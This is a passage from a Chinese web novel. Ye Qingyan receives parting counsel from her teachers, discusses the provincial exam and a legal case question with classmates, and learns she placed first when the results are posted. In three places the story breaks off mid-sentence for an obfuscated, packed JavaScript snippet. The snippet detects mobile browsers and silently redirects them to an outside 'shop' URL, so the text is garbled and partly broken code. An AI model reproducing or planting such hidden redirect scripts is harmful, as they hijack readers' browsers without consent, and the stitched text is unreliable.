话至此,谢夫子拿起杯盏润了润喉,随后继续道:“我每每读你的文章都会为你文中的见解所惊艳,可这种惊艳却无法持续到文章结束,这是因为你对自己的观点表述得不够细致、不够全面。” “你所写之文章,立意极佳,开篇极好,很能吸引人一直往下看,可通篇读完,戛然而止,做文章就如同雕琢,先需大刀阔斧得其形,其后才需小刀慢慢削去细枝末节,如此方能成型。” “一篇好的文章,不仅要有好的主干,更需无数细枝末节相衬,才能叫人意犹未尽。要想文章粗中有细,不求甚解是万万不行的,你得让自己沉浸进去。” “这就是你目前最欠缺的一点。” 叶青言仔细地听着,面上的表情也从开始的诧异茫然,转变成后面的聚精会神。 谢夫子所言,被她一句句记入心间。 听完之后,她久久也没有说话。 谢夫子的这一番话,发人深省,无疑是肺腑之言。 随着时间的流逝,太阳渐渐西斜,光线落在屋内的角度也随之发生了改变。 沉吟许久,叶青言站起身来,掇拾好衣袍,而后撩起前摆跪地,端端正正地朝谢夫子行跪拜大礼,她道:“夫子倾囊相授,思砚谨记于心,此一拜,一谢夫子传道解惑,二谢夫子善意指引,他日若金榜题名,官袍加身之时,学生必敬夫子上上之礼。” “好孩子,快快起来。”谢夫子见状上前,抬手欲去搀扶叶青言,只见他额间皱纹舒展,言道,“你我既为师生,又何须行此大礼。” 叶青言却是摇头避开:“夫子理应受此大礼。”说罢,她又对着一直没有出声的荀夫子也叩首拜了一拜。 荀夫子见叶青言这般坚持,倒是欣然受了,说道:“你此番欲出京游历,最大的阻碍不在我等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047807|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而是……”默了片刻,荀夫子还是将到嘴边的话语收回,转而道,“如何说服家中长辈才是紧要,你可有把握?” 叶青言没有直接回答,说道:“思砚会好好与长辈们沟通。” 见人有自己的打算,荀夫子便不再多言。 走出屋子,站在屋外那排已经开始凋零的枫树之间,叶青言望向了庆宁宫的方向,轻轻叹了口气。 她此次想要离京游历,最难过的不是家中长辈这关,而是二殿下的那一关。 荀夫子不知何时也走了出来,负手站在叶青言身侧。 “其实我很早就想建议你出去走走了。” 叶青言闻言侧头看了过去。 荀夫子笑了笑,继续道:“你年纪虽小,却非不辨是非之人,于文章一道也小有所成,如此心性,便是外出游历亦不会受外物所扰,读万卷书后,再行万里之路,方不至一叶障目,我当初赠你画本便是此意。” 叶青言闻言,也想起了荀夫子早前所赠的那本画册,册中画作无不栩栩如生,唯有博览天下景观,笔下方能那般熠熠生辉。 “那画册对学生此次乡试助力颇大。”叶青言说着,拱手作揖,“夫子待学生之用心,学生铭感五内。” 荀夫子笑着摆了摆手:“能参透画中深意,也是你自己的本事。”微顿了顿,荀夫子又道,“我与谢老所授,即便再好,也只是我们的一家之言,天下学问何其繁杂,其中也不乏好的论调,你长久拘于我们门下,受我们二人的思想禁锢,于将来的仕途无益,多出去走走,见见外面的世界,听听外面的学问,再一点点累积自己的见解,如此才能更上一层楼。” 话毕,荀夫子沉默了会儿,他看着叶青言的眼睛,认真说道:“我一直相信你们这些年轻人将来肯定会比我们这一代人更强,更博学。” 叶青言疑惑,她有些不能理解荀夫子突然之间的话语转变。 “人类是很喜欢怀旧的一种生命,大多数人都是如此,他们总觉得老的就是好的,过去的才是完美的,可我却不这样认为,我觉得一代总要比一代强才好,如此社会才能发展,人类才能进步。”荀夫子背着手,抬眼看着头顶灿烂的天空,看着不知从多么高远的地方落下来的阳光,继续说道,“也唯有坚信此点,并为之而奋斗,我们才能活得越来越好。” 四周一片安静,林间隐有鸟语,然自头顶洒下的阳光还是那般炽烈,就像荀夫子的话语一般,充满了生命的鲜活气息。 良久,叶青言问道:“所以您当初才会放弃吏部的职位,而选择到学宫里教书?” 荀夫子点头:“是的,和朝堂里的老家伙们相比,我更喜欢你们这些年轻人,那些人老了,也腐朽了,一个个死气沉沉,只知道玩阴谋手段,他们不光明,也不敞亮,那样的人无论是对社会进步,还是对朝廷发展都没有任何意义,未来只能指望你们这些年轻人,所以我希望你们能赶紧站起来,顶上去。” 说完这句话,荀夫子便迈着悠闲的脚步离开了。 叶青言静静目送对方远去,她忽然就明白荀夫子为何会那般偏爱二殿下了。 二殿下就是荀夫子口中的那种年轻人,在他身上,有着少年独有的精气神,好似朝阳,好似晨露,那种青春的、生命的气息是那样的清晰又激昂,当然叶青言的身上也有这方面的气质,虽然她行事稳妥,但她毕竟也是少年,自然也有少年气息,只是她的气息要更加淡然,仿佛一缕春风,很清淡,很清新。 32. 学宫交流 离开学宫后院的叶青言再次回到了太学院。 此时的讲堂里已坐满了人。 林翊背对着门口,正同沈昭说着什么。 沈昭则是面朝着门口的方向,他眼尖,第一时间就发现了叶青言。 四目相对,叶青言冲沈昭挑了挑眉。 沈昭瞪大双眼,显然十分惊讶叶青言竟会在此时出现。 注意到沈昭的异常,林翊转身看去,眼前顿时为之一亮。 那扇隔断讲堂与走廊的木门已被侍童推开,阳光从屋檐的边缘撒下,落在室内光洁的地板上,散射出淡淡的光芒,光芒之中,有一人长身而立。 那人见林翊转身,嘴角的笑容不觉愈加深刻起来。 两人一个在屋里,一个在屋外,静静对视。 蓦然风起,讲堂里凉爽的空气随之被搅动起来,比室内里稍显灼热的暖风顺势从室外流进,叶青言着一身樱草色直裰,腰系白玉缎带,身姿玉立地站在风口处,她的眉眼依旧清稚,然暖风搅动,带动她的黑发轻飘,拂过侧脸,将她身上那令人悦目的稚美添了些许凛然之气。 沈昭反应过来,扬起手,大声地朝叶青言道:“阿言!你怎么就来了?不是昨天才考完吗?” 沈昭话音未落,林翊就已回身,迈着大步走到叶青言身前,他定定地注视着她,欣喜问道:“阿言,你怎么来了?”一问出口,才惊觉自己这个问题有多么多余,忙又转话题道,“你已经歇息够了吗?身子可还疲乏?我今早还犹豫着要不要等散学了就出宫去看你。” “我想去看一看你,却又怕扰了你静养。”最后这话林翊说的很是随意,语气却极为真诚。 林翊还记得第一场考试结束,他去接叶青言时,看到许多考生虚弱到当场晕倒的情形,虽然阿言当时表现的还好,可三场考试下来,她定也十分辛苦,需要好好休息才能缓过来,不想这才考完的第二日,她竟就过来学宫了。 沈昭这时也挤上前来,打趣道:“是啊是啊,我刚还劝二表哥先别去找你,说你怎么也要歇个十天半月的才能缓过来。” 叶青言闻言失笑:“十天半月也太夸张了吧。” “哪呢,一点儿也不夸张!”沈昭说道,“你昨天出来的晚,是没有看到,好多考生都是被家人抬着走的,我送完你回去的路上,看到城内的好多医馆都挤满了抓药的人。” 这点叶青言还真不知情。 林翊皱了皱眉,他不动声色地打量了叶青言一番,问:“你真没事?” “我真得没事,您不必担心。”叶青言轻声说道,见对方依旧满脸关切地看着自己,想了想,又道,“不过就是一场考试,只要考前准备充足,考时维持好节奏,考完在好好歇息上一夜就够了,那些一出考场就晕倒的考生想来都是第一次参加乡试,行事没有章程的少年人。” 三人边说着话,边往座位上走。 沈昭听罢,瞟了叶青言一眼,说:“你自己不也是个少年。” “但我运气好呀,挨着我左右两个号房里的都是老秀才,他们应是赶考多年已经考出了经验,每一步都有条不紊,该做文章时做文章,该歇息时歇息,忙中有序,我跟着他们的步调,也是井然有序,不急不缓,不似其他第一次参加科考的少年那样,一会忙着磨墨,一会忙着找镇石,一会又要宽衣喝水……时间全耽误在这些小事上,以至于最后赶不及时间,都无法好好休息。” 叶青言说这些话时,讲堂里的好些人也都围过来认真聆听,尤其是也有意参加科考的几人。 林襄就在其中,他静静地听着,甚觉有理,末了,上前一步,问道:“我刚刚听你说考前准备充足,不知都要准备些什么?”说罢,林襄还冲叶青言作了一揖,“烦请赐教。” 三年后的秋闱,林襄也有意上场,所以他想先了解一些情况。 叶青言抬手虚扶,道:“指教不敢当,就是一些经验之言,你们听听也是无妨。”略顿了顿,叶青言才继续道,“乡试要考三场,连着九日无歇,私以为除了自身学问,最紧要的便是要有一个良好的体魄,是矣,我们需得提前锻炼身体,养成好的习性。除此之外,还要带上些常规药丸以备不时之需,特别是薄荷油,连着九天的考试,难免会有思路不畅的时候,届时在太阳穴抹上点薄荷油,可以提神醒脑。再有就是带去的食物也需慎重,大多数考生都会选择带馒头、烧饼之类,因为这些食物可以久存,不怕坏掉,但是这些东西却并不适合我们携带。” 叶青言话音才落,就听旁边传来一声嗤笑。 众人寻声望去,见发笑的人是三皇子林竑,一时面面相觑,不知作何反应。 林竑见众人纷纷看向自己,摆了摆手,说:“没事没事,本殿就是看到有只猴子为了吸引人的目光,竟当众吃起了狗屎,觉得非常有趣。” 林翊闻言眼神一冷,脸色顿时阴沉下来,仿佛有暴雨在他的眉间积蕴渐生,随时可能斩出数道利刃,林翊欲起身上前,却被叶青言抬手按住。 叶青言冲他摇了摇头,她没有理会林竑之言,继续对众人说道:“我为什么说这些大多数人的选择并不适合我们这些人呢?因为馒头和烧饼冷了之后会变得邦硬,难以入口,我们也不似其他人那般会烧火蒸煮,勉强自己去做,指不定还会惹出事故,今次考场就有个考生因为生火煮饭,而不慎着了卷子……如此,还不如带些其他吃食。” 听叶青言这样一说,众人纷纷了然。 是了,他们在坐的都是些十指不沾阳春水的大少爷,哪里知道如何生火做饭?那到时不得啃着能把牙齿咯掉的馒头度日? 林竑的脸色,在叶青言话落的瞬间变得极为难看,他愤怒地盯着叶青言,眼神几欲喷出火来。 林翊不着痕迹地挡住了他看向叶青言的目光,双目冰凉,嘴角却极不屑地扯了起来。 又有人问起了叶青言平常的锻炼方法,毕竟她这会儿的状态是肉眼可见得好,才经历过长达九天的考试,城里的医馆至今人满为患,可她却能这么快缓过来,那她的锻炼方式自然值得借鉴。 叶青言也不藏私,一一都做了分享,她还另外和众人说了自己此次带进考场的吃食和药丸。 众人听罢深以为然,纷纷点头赞同。 叶青言还说了些考场里的趣事和几道有趣的试题,众人无不听得津津有味。 气氛正好之时,叶青言突然感到有一双眼睛一直盯着自己,她顺着目光看去,发现那人是薛越。 薛越直勾勾地望着叶青言,眼中是藏不住的敌意,以及……莫名其妙的兴奋。 叶青言不适地蹙了蹙眉。 沈昭见叶青言突然顿声,在旁追问道:“然后呢?这个案子你是怎么判的?” 叶青言敛了敛神,说道:“欠债归欠债,被拖欠的人如果都去偷去抢,那也是犯了律法,所以我判了郭某三十打板,并将其收押三月以儆效尤;至于何某,当立即还钱,还要加上拖欠的利息,同时也要枷号示众以警示乡邻,过后再送去附近的矿产改造三月。” 沈昭眨了眨眼:“那李氏呢?” “按照大庆新律,有夫之妇被外男看了身子,确实有失贞洁,可此事全非李某的过错,是他丈夫何某欠钱在先,是郭某因故入室盗窃在后,李氏被郭某看了身子纯属意外,这样的情境下若判李氏有错,贬其为郭某妾室,未免不近人情。何某妄图以自己妻子的身子被郭某看去了为由来逃避欠债,岂非将自己的妻子当成了物件?这事错的人是何某,是郭某,该为此承担罪责的人也是他们二人,绝非李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050496|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏。” 叶青言所讲的是乡试第二场考试里的一道判题。 题中写道:何某的妻子李氏在屋中沐浴时被翻窗而入的郭某看去了身子,而郭某是何某的债主,何某曾为做生意借了郭某不少银子,何某因生意失败,血本无归,便迟迟没有将银子还给郭某,郭某屡催不成,便动了去何某家取点东西抵债的念头,不想竟发生了这等事情。 何某以妻子被郭某看光了身子为由拒绝还债,郭某自然不愿,声称要想抵消债务可以,还需将李氏送他为妾,何某听罢竟也同意,是半点夫妻之情也不顾念,他以李氏失贞为由将其贬为妾室,再送于郭某。 李氏自然不肯,遂一纸状书将两人告到衙府,请官老爷为其讨回公道。 以上便是全部的案例事实,考生不得另加条件,需就此事实进行判案。 听完叶青言的判词,林襄沉吟了许久,说道:“虽非自愿,可李氏确是失贞,妻失贞,夫贬之,按《大庆新律》所载,此举并无不妥,思砚你的判词虽平了人心,却无合适的律法佐证,如此只怕得不了好的成绩。” 叶青言听了此言,很是不喜,这世道对女子苛刻,律法亦是,她强忍着心中不适,说道:“本次乡试的副考官,顺天府尹张和张大人曾言,断案,既要严肃地用法说理,也要守住道义的底线,法与道并不相悖,李氏无错便不该以有错论处,我相信这样的判词不会有错。” 林襄一怔,随即恍然,他怎么忘了还有考官的存在,以张和大人惯常的行事准则来看,叶思砚这样判词才是最合其心意的,只怕张大人出这道题的用意便是在此。 叶思砚小小年纪,竟就有此洞察之力…… 思及此,林襄的心情不由变得复杂起来,他看着叶青言的眼神充满了钦佩和难以言说的落寞。 其实当初陛下原本属意的二皇子伴读人选是他,是叶青言的突然出现吸引了二殿下本人的注意,陛下无奈才将伴读人选换成了叶青言。 他确实比自己优秀。 林襄心想,他突然就释然了,并不是说他此前一直对此耿耿于怀,只是心中难免郁郁,眼下却是彻底的放松。 “无论如何,都希望你能取得一个好的成绩。”林襄由衷说道。 叶青言微笑:“借你吉言。” 便在此时,上课的第一道钟声响了起来。 鸣钟第一道,预示着夫子已在过来的路上,众人闻声纷纷回去自己的位置落座。 林翊单手支颐,笑看着叶青言,道:“我好像已经看到你来年殿试一甲,打马游街时的场景了,郎君俊俏,名士风流,定能轰动一时,传为佳话。” 叶青言听罢,好笑地侧头看林翊一眼:“您对我可真有信心。” 这似笑非笑的一眼,或许无心,却是风雅蕴藉,华彩天成,直撩拨得林翊心头一荡,酥酥麻麻之感霎时传遍全身。 “你可是我的阿言,我当然对你有信心。”林翊说。 他们两人的座位离得极近,林翊说话得声音很轻,这磁性的低语只有他们彼此听见,叶青言也不知自己是怎么了,心下一阵慌乱,脸上也不觉跟着一热。 “夫子就要来了,您别说话了。”叶青言下意识不想再继续这个话题。 林翊挑了挑眉,内心暗自一笑。他是个很好的猎手,深谙温水煮青蛙的道理,很清楚眼下并不是说开的时候,故而也没再继续。 不一会儿,荀夫子走了进来,午后的课程随之开始。 他们像往常一样,读书、辩论、撰写文章,当然休息的时候也还是会讨论一番乡试里的一些细节。 除此之外,这半天的生活没有任何特殊。 一夜过去,一天过去,再过一夜,如此反复,很快便到了乡试放榜的时间。 33. 乡试放榜 按照惯例,乡试中举的榜单会在八月末尾这一天,张贴在贡院外的通知墙上。 八月三十。 天清气朗,碧空万里无云,阳光不停地洒落,将秋日的寒意尽数驱散,气温就如场间的气氛一样热烈。 这日一大早,贡院门前便围满了数不清的民众,一眼望去,黑压压的到处都是攒动的人头。 这些人里,有特意赶早来蹲榜讨喜钱的闲汉乞儿,有富贵人家的小厮奴仆,有夙夜难寐、望眼欲穿的考生及家眷。 但仔细一看,就会发现其中还是以挎着篮子在人群中穿梭的摊贩为多,这些摊贩们有卖瓜子水果的、有卖炊饼肉食的,还有卖小板凳和水的。 乡试每三年一次,但凡熟知规矩的摊贩都不会放过这样好的发财机会。 场间的人很多,尤其是前排的位置,人挤着人,混作一团。 这样混乱的场景,照理很容易发生摩擦,但很奇怪的是,人群虽然挤挤攘攘,却并没有发生不可控的动手或口角事件。 这归功于在贡院外站岗巡逻的数十名带刀禁军,他们严肃地站在人群的最外围,如鹰隼一般的眼神扫视着全场,一旦发现其中某人有失控伤人的嫌疑,便会毫无情面地将那人直接拎出带走。 远山天还未亮就过来了贡院门前抢占位置,他艰难地挤在人堆里,感觉自己的五脏六腑都快被挤移位了,但他依然奋力坚守着自己前排的位置,不让后面的人有丁点将他挤开的机会。 他可是听说了的,二殿下和沈小侯爷今日也都派了下人过来看榜。 这回考试的是他们叶家的大少爷,他怎么都得做第一个回去通报的人! 决不能让外人抢了先! 远山摩拳擦掌,想到到时可能会得到的夸奖和赏银,更是心头火热。 贡院前街有一座茶楼。 叶青言此时正同林翊、沈昭两人一起在这间茶楼里等候乡试的最终结果。 除了叶青言,不少家境优渥的考生们也都在此间等候。 大堂里熙熙攘攘、嘈杂不止。 文人相轻,碰到一块儿,难免热闹。 故而没过多长时间,茶楼里,一个小型的诗会应运而生,场间的气氛随之变得更加热闹了起来。 但也只是表面看着热闹,毕竟放榜在即,大家的心思基本都放在即将出来的乡试结果上,只是不好表现得太过明显,得适当做做面子,以示自己淡泊名利。 叶青言三人坐在角落里,她无意去迎合这些,便也没有开口加入。 三人小声地说着话,喝着茶,但总有些人见不得别人过得比自己惬意。 “这不是财大气粗的叶少爷吗?看叶少爷如此气定神闲,想来是经笃定自己可金榜题名了?” 讲话的人刻意将话语中的“金榜题名”四字咬重,而让这整句话听上去充满了嘲讽意味。 叶青言闻声看去,就见面前站了个油头粉面的青年人。 这个人叶青言认识,但不熟,只知他姓高,具体名字记不清了,他应是高氏的某一支旁系,叶青言曾在顺天府学里见过他,还同他起过龃龉。 庆朝有明文规定,凡是通过童试的秀才,都必须到户籍所在地的府学报到,且每月必须到府学点卯一次。 叶青言就是在某次前往点卯时,同对方起的冲突。 说来也是高氏无耻,府学里有不少寒门出身的秀才,这些人手头银钱不多,平常生活拮据,高氏便以助人为由,给这些秀才找了抄书的活计,还替他们同书局周全,在原本薪酬的基础上又抬高了二十文钱的价格,只是要众人与书局签订薪酬协议。 这些寒门学子平常也是依靠抄书赚钱,眼下有这等好事,自是欣喜不已,无不同意。 之后一阵,他们也确实得了好些薪酬,众人因此很是感激高氏。 而变故就发生在各州府组织岁考的时候。 岁考是极紧要的一件事,府学会根据秀才们的岁考成绩,排序优劣,酌定赏罚,只有得了优等的秀才才能获得更好的资源。 岁考开始的前一个月,不少秀才想先停了抄书的活计好好温书,可书局却以他们已经签订协议为由,拒绝了秀才们的请求,还借故缩短了交稿期限,想以此剥夺秀才们的温书时间。 众人得知后立马找到了高氏询问,高氏却说与他们签订协议的是书局,与自己无关,让他们不要找他。 还奚落众人是穷鬼,不过丁点蝇头小利便赶着入了套子。 到了这时,众人才恍然大悟,原来这一切都是高氏所布下的局,他从一开始就在算计他们……可白纸黑字的协议是他们亲手签下的,便是告到府衙他们也不占理。 有秀才不想因此受制于人,便想使些银子赎回协议,书局却报了极高的违约金,他们这些人本就是因为手头拮据才会答应抄书,又何来大笔银子赔付? 那一日正好是叶青言去往府学点卯的日子。 她平日不常在府学出现,与众人也不熟悉,但她对其中几个人的文章印象深刻,得知了此事后,叶青言也没有多想,便自掏腰包替众人赎回了协议,还淡淡地嘲讽了高氏一番。 ——不知增进自身,反而想通过拖累别人来衬托自己,真是废物。 秀才们渡过一劫,都很感激叶青言。 叶青言平静地接受了众人的感谢,稍稍提醒了几句,便就离开了。 倒不是叶青言银子多的没处花,她会出手相助,只是觉得此事不公。 诚然,若非这些人起了不该有的贪念也不会落套,可他们家境清寒,此举也只是为了给家中减轻压力,她自己出身勋贵,从小不缺吃不缺穿,自然不能以“饱汉不知饿汉饥”的姿态来看待此事。 况且此事于她,不过举手之劳。 高氏阴谋破碎,自然看叶青言不顺眼,可他知晓叶青言的身份,深知自己奈她不得,平常也只能在言语上奚落几句。 眼下见人一脸气定神闲,直恨得他牙齿痒痒,便忍不住出言奚落。 “就算名落孙山,难道竟要我在这里哭哭啼啼不成?”叶青言瞟了高氏一眼,淡淡道,“高公子年长我几岁,读了这么多年的书,当知宠辱不惊的道理,就算待会儿结果不佳,也切莫失礼于人前了。” 高氏没想到自己想奚落人,却反被人奚落,一时忿怒交加。 你算老几! 四个字,几乎就要冲口而出,便在这时,一道冰寒的目光朝他扫了过来,高氏下意识看去,就看到了林翊冷漠地眼。 高氏并不认识林翊,却还是被对方目光里的森冷冻住…… 高氏艰难地吞了口唾沫,外强中干道:“叶少爷有这个自知是好事,倒是可莫要哭哭啼啼。” 说罢,他强撑着颤抖的双腿,狠狠剜了叶青言一眼,拂袖转身。 “这人谁啊?”林翊不喜地皱起眉头。 叶青言瞟了眼高氏离开的背影,道:“他姓高,具体叫什么我也不知。” “噗嗤——”沈昭正喝着茶呢,闻言,差点没喷出来,连咳了几声才缓了过来,“看刚刚那人的表情,简直恨不能吃了你,你居然连他叫什么都不知道?” “无关紧要之人,我知晓他的名字作甚?” “……”沈昭冲叶青言竖起了大拇指,“你是知道怎么气人的,还好那人被表哥给吓走了,不然不得气死在这儿。” 叶青言眨了眨眼:“我没想气他。” 沈昭:“……那就更气人了,表哥你说是不是?” 林翊没有理会沈昭的话语,而是侧眼看着叶青言,问:“他姓高?” 叶青言点头,轻声道:“就是殿下您想的那个高,但这个挨得有点远。” 林翊冷笑一声:“原来姓高啊,难怪会上赶着来寻你麻烦。” 叶青言一怔,随即明白了殿下的意思,笑道:“这事儿倒是与您想的那些无关,我跟他是因其他事情起地冲突。” 林翊好奇地挑了挑眉。 沈昭也做洗耳恭听状。 叶青言叹了一声,将发生在府学的那件事讲了出来。 “无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054427|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耻。”沈昭听罢一拍桌子,“太无耻了,这样的人居然也能考中秀才!” “确实无耻。”林翊淡淡接了一句。 叶青言看看左右,见没人注意他们这桌,这才转头看向沈昭:“你也不必为了这种人坏了兴致,这样拍桌子,你的手不疼啊。” 沈昭闻言揉了揉掌心,嘟囔:“还真有点疼。” 叶青言见状笑了起来。 林翊亦勾了勾唇,并转移了话题:“也不知这名单到底什么时候才放出来。” 叶青言:“算算时辰应该也差不多了。” 便在此时,一名仆役气喘吁吁地跑进茶楼,冲着里头的某个人激动大喊:“老爷,老爷,大喜!您中了!中了!是正榜第十九名。” “当真?”那人乐疯了,当下就从椅子上蹦起,想也不想地冲了出去,估计是看榜去了。 茶楼里众人本就悬着的心再次被提了起来,谁也没有心思再吟诗作对,纷纷翘首以盼地等着家仆们回来报信。 没过多久,便又进来了三名小厮报喜,得知自己入了桂榜的三名学子无不喜出望外,连连拱手,相互恭贺。自己的结果出了,放下了一大心事,那些人便说起了其他的事,对话里隐隐传出了谁会是解元的疑问。 同一时间,外面的人群也开始问起了这个问题,挤在前排的学子看了眼榜首,说了个名字。 只可惜,人群太过吵闹,传到最后只有姓氏被传了出去。 “今年的解元姓叶!”不知是谁高声喊了一句。 茶楼里腾一下热闹起来,众人纷纷讨论是哪一个叶。 叶是大姓,今年参加乡试的秀才里有好几个姓叶的,讨论来讨论去,众人的眼光不觉都落到了叶青言的身上。 沈昭非常兴奋,喜道:“阿言,是你吧?桂榜第一,今次解元。” 林翊的反应倒是平淡,仿佛早有预料:“依照阿言的学识,理应如此。” 叶青言抿唇看了林翊一眼,道:“再等片刻吧,一会儿远山应就来报了,我们不必乱猜,免得落了笑话。” 叶青言这话说得淡定,但她无疑也是紧张的,紧张之中又透露着些许的兴奋。 高氏一直注意着叶青言这边的情况,见状,怒气腾腾地冲旁边的小厮道:“你也去看一看榜单。” “是。”那小厮匆匆跑了出去。 谁曾想,那小厮刚一出楼,就见一名学子跑进茶楼,气喘吁吁道:“看清楚了,我看清楚了,今次的解元叫叶青言。” “阿言,真的是你!”沈昭跳了起来,看着十分兴奋。 叶青言也非常高兴,可还没等她开口说些什么,就又有一个看榜的小厮回来,那小厮走到高氏面前,吞吞吐吐道:“少爷,小的找到您的名字了……” “第几?”高氏眼睛一亮,目光灼灼地盯着小厮。 有名字就代表了上榜,只要上了榜他就是举人老爷,举人只是个身份,朝廷看中的可不是乡试的成绩,来年会试,他自会超过叶青言! 小厮眼光躲闪,继续吞吞吐吐道:“您……您是第一……” “什么?”高氏大惊。 桂榜岂会有两个第一,莫非是刚刚有人误传?他才是那个第一,叶青言是假的! 高氏越想越激动,脸上渐渐浮起得意的神情,就听小厮继续说道,“您……您在副榜上。” 高氏激动的神情顿时僵在脸上,瞧着异常滑稽。 副榜是为安抚落榜学子而特设的榜单,所取的恰恰是落榜的头二十人。 而他高彦是副榜第一…… 他要这第一何用? 高彦刚刚才奚落过叶青言。 人家转头就成了解元,而他自己却名落孙山,这落差不可谓不大。 再加上高彦平素高傲,仗着自己姓高目中无人,这不,茶楼里已有好事者在拿此事打趣了,他们看着高彦的方向,不时发出阵阵讪笑。 高彦只觉得茶馆里的人都在笑他,他踉跄了两步,也顾不得其他,匆匆忙忙就跑离了茶楼。 34. 农门学子 位置靠得太前有时也是一种负担。 远山早早就在榜首看到了自家少爷的名字,却怎么也挤不出人群。 外围的人,走了来,来了走,那些人里,有哭嚎的,有大笑的,有捶足顿胸的,有仰天大喊的……各种姿态,不胜枚举,真可谓集人间百态于方寸之间。 远山无暇关注这些,他艰难地往外挤着,等他终于挤出人群,来到茶楼之时,楼里已无人不晓今次乡试解元的名讳。 没办法,第一名总是要更引人注目一些。 远山有些失望,但他还是非常兴奋地向自家少爷肯定了这一喜讯。 从今天开始,他远山,就是解元老爷的书童了!四舍五入,他也是个有学问的人了! 此时榜下的人群已渐渐散去,林翊见状,建议道:“虽已知晓结果,但我们也过去看看吧,我还不知桂榜到底生作何种模样。” 叶青言点头:“那便去看看。” 说罢,三人便出了茶楼,往贡院方向走去。 来到榜单之下,人群里有人认出了叶青言,那人激动地喊了一声“叶解元”。 这一声如平地惊雷。 本稀稀疏疏站立的人群顿时都朝着叶青言的方向看了过来。 暖阳下的贡院,因为叶青言的出现而变得再度喧闹起来,无数双或好奇、或震惊、或探究、或记恨的眼光,汇在一处,那光芒简直比阳光还要更加炽烈。有那么一瞬,叶青言甚至觉得自己的衣服都快被那一道道灼人的目光给看烧起来了。 也幸好,贡院四周负责维持秩序的禁军们还在,不然叶青言真担心自己会被这些人给生吞了。 她没有说什么,只礼貌地向众人颔首示意。 三人站在榜下,看着榜单上密密麻麻的名字。 叶青言三字,就列在榜首。 沈昭非常高兴,他看着比叶青言本人还要更加高兴。 “阿言,你果然是第一,你是怎么考的啊,居然真考了第一。” 一句话里,连说了两遍第一,可见其欢喜。 沈昭看着叶青言,眼睛亮得仿佛夜空里的星星一般,他可是拿了好大一笔银钱下注买了阿言榜首的,虽说下注之时他对此并没什么想法,只是单纯想支持下自家兄弟,可,能得这样一笔意外之财,谁又会不高兴呢? “今天中午我请客!你们想吃什么随便点!”沈昭大手一挥表示。 林翊侧目看他:“这么大手笔?我没记错的话,今日可是月底,你哪还来这么多银子?” 沈昭一噎,他怎么忘了,二表哥还在呢,可不能让他知晓自己去过赌坊,母亲最是不喜聚赌行径。 当然沈昭也不是好赌之人,他就是听学宫里有人说起,京城各大赌坊就谁会夺下今次乡试榜首的事开了盘,而阿言的赔率很低,也是为了给自家兄弟长脸,他才去投的银子。 “当然是我省下来的,我早料到阿言会中榜,当然会省下些银子庆祝。”沈昭说得义正辞严。 林翊盯着他的眼睛:“是吗?” 沈昭有些心虚,也有些恼火,道:“当然,二表哥你怎么老不信我,真不爱和你聊天!” 林翊呵了一声:“我劝你尾巴藏好一点,姑姑可不是任你糊弄的傻子。” 沈昭不满,想出言辩驳,却发现对方说得十分有理。 “中午怕是不成。”见两人终于停止了拌嘴,叶青言这才摇了摇头,说道,“午前报喜官会前往国公府报喜,乡试可不比童试,前往报喜的也不是普通衙差,我得回去等着。” 当年童试出榜的时候,叶青言就被这两人拉去了酒楼庆贺,不过童试是由普通的衙差前往报喜的,只需给足赏银,他们便不会多话,准秀才本人在不在场并无大碍,但负责乡试报喜的是有功名在身的报喜官,轻易忽视不得。 “那我们先去酒楼等你,你忙好了再来。”沈昭想也没想就道。 叶青言沉吟片刻,想着国公府众人可能会有的反应,颔首道:“也好。” 林翊侧目看向叶青言。 叶青言眨了眨眼:“淮之刚刚才说了不爱跟你聊天。” 言下之意,不言而喻。 “叶公子。” 就在这时,一名着素色麻衣的书生上前,端端正正地冲叶青言作了一揖,他虽举止有度,却也难掩其面上激动,半隐在袖中的双手微微有些颤抖。 林翊见状,便也只能收回了即将说出口的话。 “是你。”叶青言见人,笑了起来,问,“你也是来看榜的?成绩如何?” “列正榜第四。”那书生有意表现地稳重一些,却怎么也压不住心底的兴奋。 “恭喜顾公子了。”叶青言真心说道。 “逍能有此成绩全赖叶公子当初的一臂之力。”顾逍说罢,稳了稳心神,又对着叶青言行了一礼。 叶青言见状,平静还礼,道:“顾公子言重了,那于我不过举手之劳,况且你之后也还了我银子,你我之间并无恩情。我曾看过你的文章,你文章做得极好,无论是观点还是笔力都很稳健,你此番能入桂榜,于我无关,都是你自己的努力。” 金灿的阳光斜斜地照在街道上,将两道躬身行礼的影子拖得很长。 